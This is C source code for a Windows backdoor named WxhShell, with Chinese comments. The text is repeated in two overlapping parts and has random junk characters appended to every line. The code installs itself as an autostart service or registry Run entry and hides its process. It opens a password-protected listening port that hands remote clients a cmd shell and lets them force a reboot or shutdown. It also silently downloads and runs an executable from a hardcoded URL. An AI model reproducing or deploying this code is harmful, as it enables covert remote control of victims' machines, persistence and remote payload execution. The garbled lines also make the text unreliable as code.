    closesocket(wsh); ]9~6lx3/  
    ExitThread(0); 7QHrb'c  
    } %RXFgm!{f  
    break; @WP%kX.?  
    } 92M_Z1_w[  
  // 关机 v.Xmrry  
  case 'd': { wZ/ b;%I!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [#/@ v/`  
    if(Boot(SHUTDOWN)) qIk( ei  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iH)-8Q  
    else { 1p(9hVA  
    closesocket(wsh); n@9R|biO  
    ExitThread(0); z`Xc] cPi  
    } _OJ19Ry  
    break; @O)1Hnm  
    } TFtD>q X  
  // 获取shell R^Y _i  
  case 's': { |4F'Zu}g>  
    CmdShell(wsh); ,zh4oX`>  
    closesocket(wsh); 3| 0OW Jk  
    ExitThread(0); }N@+bNh~  
    break; 8C<%Y7)/  
  } [\.@,Y0j  
  // 退出 h F *c  
  case 'x': { 6Wc.iomx8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 90!67Ap`x  
    CloseIt(wsh); -{eI6#z|\A  
    break; lNB<_SO  
    } .<.#g +  
  // 离开 7DIFJJE'  
  case 'q': { Mgg m~|9)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^qV6 khg  
    closesocket(wsh); ]/odp/jm  
    WSACleanup(); MO_;8v~0  
    exit(1); h2vD*W  
    break; SaA-Krn  
        } |\SwZTr  
  } lM[FT=M  
  } 1^y^b{  
)%~<EJ*&Z  
  // 提示信息 $J]o\~Z J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yQqu Gu  
} N@\`DO  
  } io*iA<@Gx  
Dh .<&ri   
  return; ?Z"<&tsZ  
} X!f` !tZ:{  
9oxn-)6JC  
// shell模块句柄 /t_AiM,(  
int CmdShell(SOCKET sock) Pa */&WeB  
{ SsQg8d  
STARTUPINFO si; `h$^=84  
ZeroMemory(&si,sizeof(si)); l6< bV#_qe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /U@Y2$TOF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a<v!5\dq!  
PROCESS_INFORMATION ProcessInfo; Wh1'?#  
char cmdline[]="cmd"; I=K|1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6|]e}I@<2  
  return 0; WXCZ }l  
} n^%",*8gD*  
_:VIlg U  
// 自身启动模式 }vt>}%%  
int StartFromService(void) 4i(?5p>f  
{ #\gx.2W7  
typedef struct t? [8k&Z  
{ GA2kg7  
  DWORD ExitStatus; YY 8vhnw  
  DWORD PebBaseAddress; OsNJ;B  
  DWORD AffinityMask; %lSjC%Z'd  
  DWORD BasePriority; S/xCX!  
  ULONG UniqueProcessId; Mt%=z9OLq9  
  ULONG InheritedFromUniqueProcessId; lAo S 9w  
}   PROCESS_BASIC_INFORMATION; 3V@!}@y,F6  
w*B4>FYg  
PROCNTQSIP NtQueryInformationProcess; utBKl' `  
@;h$!w<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fb D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #]lK!:  
_W gpk 0  
  HANDLE             hProcess; Bngvm9k3  
  PROCESS_BASIC_INFORMATION pbi; CL<m+dW%*  
kr>F=|R]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 31~Rs?~f(  
  if(NULL == hInst ) return 0; &E`=pe/e  
jT1^oXn@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BHJS.o*j~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e6uVUzP4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fle pM*  
S~Yu;  
  if (!NtQueryInformationProcess) return 0; 6:qh%ZR  
U$ 22r b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tqicyNL  
  if(!hProcess) return 0; `E-cf7%  
R6-Z]H u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _/cL"Wf  
s)j3+@:#  
  CloseHandle(hProcess); [ .c'22R6  
D~7L~Q]xI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +/DT#}JE  
if(hProcess==NULL) return 0; < <]uniZ\  
+l(lpp>,  
HMODULE hMod; )A:|8m  
char procName[255]; ~=Q Tv8  
unsigned long cbNeeded; }+i~JK  
P%Tffsl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wtqv  
GKa_6X_  
  CloseHandle(hProcess); Eg 8rgiU  
o1)8?h  
if(strstr(procName,"services")) return 1; // 以服务启动 (bON[6OGm  
DI7g-h8`  
  return 0; // 注册表启动 ]j57Gk%z  
} "D?:8!\!  
X!!3>`|  
// 主模块 fm&pxQjg  
int StartWxhshell(LPSTR lpCmdLine) 6;#Rd|  
{ v `7`'  
  SOCKET wsl; N_| '`]D  
BOOL val=TRUE; )@a_|q@V  
  int port=0; x0$#8  
  struct sockaddr_in door; (?lKedA>2  
zb& 3{,  
  if(wscfg.ws_autoins) Install(); |7%#z~rT  
<-F[q'!C1  
port=atoi(lpCmdLine); ^>m"j6`h,  
QV9 z81[  
if(port<=0) port=wscfg.ws_port; jRNDi_u?Wb  
eGQ -Ht,N  
  WSADATA data; B:=VMX~GE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ff{dOV.i  
_"G./X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   od RtJ[   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q o tWWe#  
  door.sin_family = AF_INET; $W0O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ym$=^f]-  
  door.sin_port = htons(port); y$U(oIU>  
FgTWym_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `F4gal^ ^  
closesocket(wsl); n5;>e&  
return 1; #0'%51Jcl  
} #7|73&u(  
<_~e/+_.  
  if(listen(wsl,2) == INVALID_SOCKET) { F7IZ;4cp  
closesocket(wsl); Q+a"Z^Z|  
return 1; "]ZDs^7  
} :FX|9h  
  Wxhshell(wsl); O7lFg;9c`  
  WSACleanup(); a+P Vi  
vz3#.a~2  
return 0; ?yy,3:  
j6DI$tV~  
} p^*A&7d:P  
2C"[0*.[N  
// 以NT服务方式启动 1AAOg+Y@U"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sgq?r-Q.  
{ sglH=0MP  
DWORD   status = 0; i:\|G^h  
  DWORD   specificError = 0xfffffff; aDZ]{;  
MeW?z|x`'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2i)vT)~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h@%a+6b?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I@q(P>]X9  
  serviceStatus.dwWin32ExitCode     = 0; @~8*  
  serviceStatus.dwServiceSpecificExitCode = 0; 5dkXDta[G  
  serviceStatus.dwCheckPoint       = 0; = ow=3Ku  
  serviceStatus.dwWaitHint       = 0; *^[j6  
/a?qtRw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }) Zcw1g  
  if (hServiceStatusHandle==0) return; zLybf:#  
Zgt(zh_l  
status = GetLastError(); Usq.'y/ o  
  if (status!=NO_ERROR) Q?/qQ}nNw  
{ jj6yf.r6c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ch]{ =61  
    serviceStatus.dwCheckPoint       = 0; _kT{W]   
    serviceStatus.dwWaitHint       = 0; RJOW#e :  
    serviceStatus.dwWin32ExitCode     = status; p,7, tx  
    serviceStatus.dwServiceSpecificExitCode = specificError; \@m^w"Ij  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :s>x~t8g#n  
    return; <d~si^*\ch  
  } ?tx."MZ  
j9~lf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]Gf`nJDV  
  serviceStatus.dwCheckPoint       = 0; '^%kTNn  
  serviceStatus.dwWaitHint       = 0; t4Pi <m:7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  D`3`5.b  
} FA!!S`{\  
()e|BFL.  
// 处理NT服务事件,比如:启动、停止 RAj>{/E#W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h]pz12Yf  
{  {[dY$  
switch(fdwControl) Cf>(,rt};  
{ OxqkpK&  
case SERVICE_CONTROL_STOP: SVBo0wvz-  
  serviceStatus.dwWin32ExitCode = 0; U X%J?;g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 45;ey }8  
  serviceStatus.dwCheckPoint   = 0; % O u'+A  
  serviceStatus.dwWaitHint     = 0; ;Q,, i  
  { M< /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tn}MKo  
  } .zv BV_I  
  return; 8p_6RvG  
case SERVICE_CONTROL_PAUSE: v n4z C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V6Y0#sTU  
  break; CD[}|N  
case SERVICE_CONTROL_CONTINUE: (nAL;:$x2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z]R%'LGu  
  break; ym_p49  
case SERVICE_CONTROL_INTERROGATE: tmi)LRF H  
  break; u(i=-PN_<  
}; i!EAs`$o`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {r'+icvLX  
} X}H?*'-  
U=PTn(2  
// 标准应用程序主函数 ^@^K <SVc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `T{'ufI4B  
{ hlmeT9v{  
@MO/LvD  
// 获取操作系统版本 E8BIb 'b;  
OsIsNt=GetOsVer(); &O#,"u/q`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |#yH,f  
.F G%QFF~  
  // 从命令行安装 us+z8Mz  
  if(strpbrk(lpCmdLine,"iI")) Install(); H*Tzw,f~ v  
nF$HWp&gt  
  // 下载执行文件 psUT2  
if(wscfg.ws_downexe) { \,pObWm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'qJ0338d#U  
  WinExec(wscfg.ws_filenam,SW_HIDE); \rd%$hci  
} " =6kH,  
nJ h)iQu  
if(!OsIsNt) { 3S" /l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,B'fOJ.2  
HideProc(); .y<u+)  
StartWxhshell(lpCmdLine); |}b~YHTs  
} p<3<Zk 7~0  
else aa" 3 Io  
  if(StartFromService()) A9;,y'm^8  
  // 以服务方式启动 pQ>|d H+.  
  StartServiceCtrlDispatcher(DispatchTable); OX%#8Lx  
else U7Oa 13Qz  
  // 普通方式启动 2T(7V[C%9  
  StartWxhshell(lpCmdLine); fbD,\ rjT  
4w)>}  
return 0; 4AMe>s  
} U~USwUzgY  
`aTw!QBfG  
PQp/ &D4K  
0TZB}c#qT  
=========================================== sUU[QP-  
.N( X. C  
a~ dgf:e`  
83 <CDjD  
HQ]mDo  
05g %5vHF  
" sC0u4w>Y  
@dx 8{oQ  
#include <stdio.h> U$Z<lx2P  
#include <string.h> 7Mk>`4D'c  
#include <windows.h> #ID fJ2  
#include <winsock2.h> ) J.xQ}g  
#include <winsvc.h> "=1gA~T  
#include <urlmon.h> FPH2dN  
p]ujip  
#pragma comment (lib, "Ws2_32.lib") (;&}\OX6nm  
#pragma comment (lib, "urlmon.lib") KIp^| k7>  
'~ H`Ffd.  
#define MAX_USER   100 // 最大客户端连接数 3dlY_z=0  
#define BUF_SOCK   200 // sock buffer DQ30\b"gU  
#define KEY_BUFF   255 // 输入 buffer Q6D>(H#"0  
,H%[R+)  
#define REBOOT     0   // 重启 {2YqEX-I*  
#define SHUTDOWN   1   // 关机 %}e['d h  
}0tHzw=#%e  
#define DEF_PORT   5000 // 监听端口 4.^T~n G  
#:By/9}-  
#define REG_LEN     16   // 注册表键长度 xy b=7  
#define SVC_LEN     80   // NT服务名长度 mPHto-=fB  
c@Br_ -  
// 从dll定义API qYJ<I'Ux O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Gg|BTTL/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~_Fx2T:X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?dbSm3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J/ Lf(;C_  
L]8z6]j*  
// wxhshell配置信息 4\5i}MIS0  
struct WSCFG { heL`"Y2'y>  
  int ws_port;         // 监听端口 IT{c:jo1{`  
  char ws_passstr[REG_LEN]; // 口令 PpKjjA<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0|.jIix;  
  char ws_regname[REG_LEN]; // 注册表键名 ^b$_I31D  
  char ws_svcname[REG_LEN]; // 服务名 (qvH=VTwP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jXLd#6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BGxwPJd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~^jPE)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q/@+.q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $}{[_2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vjs'|%P7  
{kw% 7}!  
}; ~ \<$H'  
_cE_\Ay  
// default Wxhshell configuration 3}!u8,P  
struct WSCFG wscfg={DEF_PORT, "w%:5~u 9  
    "xuhuanlingzhe", !#:5^":;  
    1, `g3AM%3  
    "Wxhshell", #-@Uq6Y  
    "Wxhshell", DH%PkGn  
            "WxhShell Service", ]WYV  
    "Wrsky Windows CmdShell Service", 3]GMQA{L)  
    "Please Input Your Password: ", >~nr,V.q  
  1, yvj/u c  
  "http://www.wrsky.com/wxhshell.exe", <g%A2 lI  
  "Wxhshell.exe" Ln2FG4{  
    }; jLM([t  
l)*(UZ"  
// 消息定义模块 &R?`QB2/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V:'F_/&X?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q)L4*O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LXh }U>a9  
char *msg_ws_ext="\n\rExit."; sYBmL]Hr  
char *msg_ws_end="\n\rQuit."; n@xQ-v  
char *msg_ws_boot="\n\rReboot..."; nq HpYb6I0  
char *msg_ws_poff="\n\rShutdown..."; `YC7+`q  
char *msg_ws_down="\n\rSave to "; !u@P\8M}  
|T$?vIG[  
char *msg_ws_err="\n\rErr!"; g(9*!g  
char *msg_ws_ok="\n\rOK!"; uxB)dS  
~abyjM  
char ExeFile[MAX_PATH]; Yj1|]i5b  
int nUser = 0; X=KW >  
HANDLE handles[MAX_USER]; ^)?Wm,{"w  
int OsIsNt; Te L&6F$  
1P(=0\ P>&  
SERVICE_STATUS       serviceStatus; @B (oq1i@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8T9 s:/%  
.Y{x!Q"  
// 函数声明 v:/\; 2  
int Install(void); \Q(a`6U  
int Uninstall(void); Lv]%P.=[G  
int DownloadFile(char *sURL, SOCKET wsh); "A"YgD#t  
int Boot(int flag); Qy0w'L/@  
void HideProc(void); hdCd:6   
int GetOsVer(void); Gmi? xGn  
int Wxhshell(SOCKET wsl); _wK.n.,S~  
void TalkWithClient(void *cs); On}1&!{1]  
int CmdShell(SOCKET sock); /uX*FZ  
int StartFromService(void); D$ K'Qk  
int StartWxhshell(LPSTR lpCmdLine); #p@GhI!6  
'"E!av>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !e$ZOYe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T2S_> #."l  
PXYLL X\3  
// 数据结构和表定义 sWte&  
SERVICE_TABLE_ENTRY DispatchTable[] = Z::I3 Q  
{ O^`EuaL  
{wscfg.ws_svcname, NTServiceMain}, 0S$k;q  
{NULL, NULL} (&Rk#iU 2  
}; NGSts\D'}  
d/ ^IL*O  
// 自我安装 /]3[|  
int Install(void) QR#>Ws  
{ K~vJ/9"|R  
  char svExeFile[MAX_PATH]; e' o2PW  
  HKEY key; Rtz~:v%  
  strcpy(svExeFile,ExeFile); qsp.`9!  
F-wAQ:  
// 如果是win9x系统,修改注册表设为自启动 rhbz|Uq  
if(!OsIsNt) { V^ n6~O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2P^|juc)sU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s{Qae=$Q  
  RegCloseKey(key); h8asj0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wpM2{NTP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wK-VA$;:  
  RegCloseKey(key); } 7 o!  
  return 0; 4F|79U #  
    } @d0f+9d  
  } 7/IL" D  
} Q}@t'  
else { kZz'&xdv'.  
{WrEe7dLy  
// 如果是NT以上系统,安装为系统服务 0fXMY-$I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NUYKMo1ze  
if (schSCManager!=0) (Of6Ij?  
{ W+!UVUpW  
  SC_HANDLE schService = CreateService 8F8?1  
  ( o'$"MC+  
  schSCManager, ]6^<VC`5D  
  wscfg.ws_svcname, {IJ;)<>&VE  
  wscfg.ws_svcdisp, "u7[[.P)  
  SERVICE_ALL_ACCESS, GLtd<M"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H_ $?b  
  SERVICE_AUTO_START, 8l5>t  
  SERVICE_ERROR_NORMAL, 9y*] {IY  
  svExeFile, dYrgL3'  
  NULL, cZxY,UvYa  
  NULL, z;>$["t]6  
  NULL, C*b[J  
  NULL, *uyP+f2O  
  NULL # -luE  
  ); ^qR|lA@=\  
  if (schService!=0) U<w8jVE  
  { HKrENk  
  CloseServiceHandle(schService); "iK= 8  
  CloseServiceHandle(schSCManager); q-<DYVG+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4tZ*%!I'  
  strcat(svExeFile,wscfg.ws_svcname); ~gd#cL%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y 3ApW vS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !.,wg'\P  
  RegCloseKey(key); Njg$~30  
  return 0; BS##nS-[  
    } Dm}eX:'{  
  } ^<OYW|q?\r  
  CloseServiceHandle(schSCManager); \~hrS/$[$  
} PK2;Ywk`  
} 6h>#;M  
;bB#P g  
return 1; hi[nUG(OI  
} '|SO7}`;Q  
:Ph>\aG  
// 自我卸载 "V>}-G&  
int Uninstall(void) !#)t<9]fv  
{ ]!/U9"_e"B  
  HKEY key; 1p. c6[9 -  
~-zTY&c_  
if(!OsIsNt) { l e'RU1k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NbU`_^oC  
  RegDeleteValue(key,wscfg.ws_regname); =o##z5j K  
  RegCloseKey(key); jjV'`Vy)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \s*M5oN]]  
  RegDeleteValue(key,wscfg.ws_regname); y8~OkdlN#  
  RegCloseKey(key); TF/NA\0c$  
  return 0; $v@$C4  
  } R!j#  
} OZxJDg  
} @.W;3|~qc  
else { q~R8<G%YK  
OS,!`8cw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vdq=F|&  
if (schSCManager!=0) \l:R]:w;ZI  
{ <==uK>pET  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :'DyZy2Fd  
  if (schService!=0) {}YA7M:L  
  { dxs5woP  
  if(DeleteService(schService)!=0) { %VO+\L8Fs  
  CloseServiceHandle(schService); 'Bue*  
  CloseServiceHandle(schSCManager); h:8P9WhWF  
  return 0; N55F5  
  } :VT%d{Vp_  
  CloseServiceHandle(schService); ^L2d%d\5  
  } !XtG6ON=  
  CloseServiceHandle(schSCManager); r1r$y2v~  
} ?wB_fDb}  
} ~b~Tq  
;_bRq:!j;  
return 1; Uqel UL}  
} wb.yGfJ  
_aFe9+y  
// 从指定url下载文件 {cs>Sy 4  
int DownloadFile(char *sURL, SOCKET wsh) M~2Us{ `  
{ 64?HqO 6(  
  HRESULT hr; S.!,qv z  
char seps[]= "/"; .2E/(VM  
char *token; NuQ!huh  
char *file; s>J5.Z7"'j  
char myURL[MAX_PATH]; -MTk9<qnT  
char myFILE[MAX_PATH]; F$a s#.7FF  
X hq ss),  
strcpy(myURL,sURL); H@uu;:l<7A  
  token=strtok(myURL,seps); x2B8G;6u  
  while(token!=NULL) `}?;Ow&2CY  
  { WA (x]""  
    file=token; 0 %~~IT}U  
  token=strtok(NULL,seps); jB?SX  
  } \AwkK3  
n2mO-ZXud  
GetCurrentDirectory(MAX_PATH,myFILE); H4y9\ -  
strcat(myFILE, "\\"); ^N/d`IAjv  
strcat(myFILE, file); r ]7: ?ir  
  send(wsh,myFILE,strlen(myFILE),0); X9Ch(nWX  
send(wsh,"...",3,0); :PT{>r[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =>;&M)+q  
  if(hr==S_OK) &4-;;h\H  
return 0; AO7[SHDZ  
else #'Y lO -C  
return 1; ?9\D(V  
/2? CB\  
} [on_=N{W[  
A r!0GwE+  
// 系统电源模块 t%Jk3W/f  
int Boot(int flag) kGV:=h  
{ MrR`jXz  
  HANDLE hToken; B.; qvuM~  
  TOKEN_PRIVILEGES tkp; H'k}/<%Q  
\n[kzi7  
  if(OsIsNt) { VCWW(Y1Fd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I<#X#_YP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $+Ze"E  
    tkp.PrivilegeCount = 1; Lk !)G'42  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -V}oFxk]q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nFQuoU]ux  
if(flag==REBOOT) { JVIFpN"`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DquL r+s~  
  return 0; G(7%*@SX  
} E y:68yU  
else { tB4mhX|\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $P{`-Y }a  
  return 0; "-=fi 'D  
} }:2##<"\t  
  } ^m#tWb)f  
  else { T [SK>z  
if(flag==REBOOT) { )$!b`u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5_;-Qw  
  return 0; kO\ O$J^S  
} WutPy_L<  
else { 6nL^"3@S!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9rMO=  
  return 0; ^VXhv9\>B  
} +*8su5:[&@  
} M.Yp'Av  
C 7C4 eW8  
return 1; ooVs8T2  
} xxur4@p!  
 >:-e  
// win9x进程隐藏模块 HEVj K$  
void HideProc(void) "Wj{+ |f  
{ G[>NP#P  
u+j\PWOtm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "9_$7.q<y  
  if ( hKernel != NULL ) 3:iEt (iCI  
  { S"&Gutu3o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >`AK'K8{M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~2Wus8X-  
    FreeLibrary(hKernel); #Nh'1@@  
  } EnWv9I<  
)95k3xo  
return; q\@Zf}  
} ]VjvG};  
7W)W9=&BT  
// 获取操作系统版本 q}Q G<%VR  
int GetOsVer(void) /0/ouA>+  
{ PZ|I3z  
  OSVERSIONINFO winfo; |*c1S -#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tdcc<T  
  GetVersionEx(&winfo); gML8lu0)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gxl7j Y  
  return 1;  v%:deaF  
  else E<jajYj  
  return 0; Lng. X8D  
} GNJ /|9  
M 2hZ'  
// 客户端句柄模块 un 5r9  
int Wxhshell(SOCKET wsl) A`uHZCwJ5  
{ iE''>Z  
  SOCKET wsh; T_S3_-|{==  
  struct sockaddr_in client; v*!N}1+J  
  DWORD myID; K) }1;  
WAxNQfEe  
  while(nUser<MAX_USER) (vG*)a  
{ 46g0 e  
  int nSize=sizeof(client); 'JOCL0FP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gO8d2?Oh  
  if(wsh==INVALID_SOCKET) return 1; BzfR8mD  
BaQyn 6B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E4% -*n  
if(handles[nUser]==0) uA#K59E+  
  closesocket(wsh); [\W&  
else 4H6Fq*W{k  
  nUser++; M[`[+5v  
  } A&M_ J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `0qjaC  
A1prYD  
  return 0; s6~;)(r  
} }? _KZ)  
 4v`/~a  
// 关闭 socket xS1|t};  
void CloseIt(SOCKET wsh) Odo)h  
{  @*eY~  
closesocket(wsh); P gA<pfEHE  
nUser--; ` Tap0V  
ExitThread(0); tBGLEeL/.  
} `TPIc  
U\P4ts  
// 客户端请求句柄 $rXCNew(  
void TalkWithClient(void *cs) ,,u hEoH  
{ ;8^k=8  
H1c8]}  
  SOCKET wsh=(SOCKET)cs; R$awo/'^  
  char pwd[SVC_LEN]; i3 eF_  
  char cmd[KEY_BUFF]; n}UJ - \$  
char chr[1]; q=W.82.U  
int i,j; >+J}mo=*  
wnC} TWxX  
  while (nUser < MAX_USER) { mS'Ad<  
j{Px}f(=  
if(wscfg.ws_passstr) { }!_z\'u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfClR HpVc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HXU#Ux  
  //ZeroMemory(pwd,KEY_BUFF); 8lM=v> Xc  
      i=0; i6WPf:#wr  
  while(i<SVC_LEN) { *>a=ku:?  
R0qZxoo  
  // 设置超时 C$[iduS  
  fd_set FdRead; $0 .6No_|  
  struct timeval TimeOut; W^8  
  FD_ZERO(&FdRead); d` ttWWPw  
  FD_SET(wsh,&FdRead); Zp7Pw   
  TimeOut.tv_sec=8; 5a/A?9?,  
  TimeOut.tv_usec=0; HDV-qYD|O~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R5ra*!|L)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~2k.x*$  
z0rYzn?MR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cjN)3L{  
  pwd=chr[0]; 1Rd|P<y  
  if(chr[0]==0xd || chr[0]==0xa) { -rU_bnm  
  pwd=0; \OVFZ D  
  break; Z5'^81m$o  
  }  ?^Aj\z>  
  i++; "|X'qKS(H{  
    } S9!KI)  
le \f:  
  // 如果是非法用户,关闭 socket trDw|WA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !Wr<T!T  
} )l`Ks  
+A?P4}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bug.>ln1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G{[w+ObX  
k( Sda>-  
while(1) { e#/&A5#Ya  
?7Cm+J  
  ZeroMemory(cmd,KEY_BUFF); >>T7;[h  
jVnTpa!A  
      // 自动支持客户端 telnet标准   8vuTF*{yZ  
  j=0; o6A$)m5V  
  while(j<KEY_BUFF) { hM]Z T5;<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %w^*7Oi  
  cmd[j]=chr[0]; A{s -g>s  
  if(chr[0]==0xa || chr[0]==0xd) { //c6vG  
  cmd[j]=0; <\epj=OclV  
  break; +r!NR?^m  
  } ]6M<c[H>  
  j++; I-^sJ@V;  
    } oZ*?Uh*  
\=WPJm`p  
  // 下载文件 nx%As  
  if(strstr(cmd,"http://")) { tF),Sn|*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2vpQ"e- A  
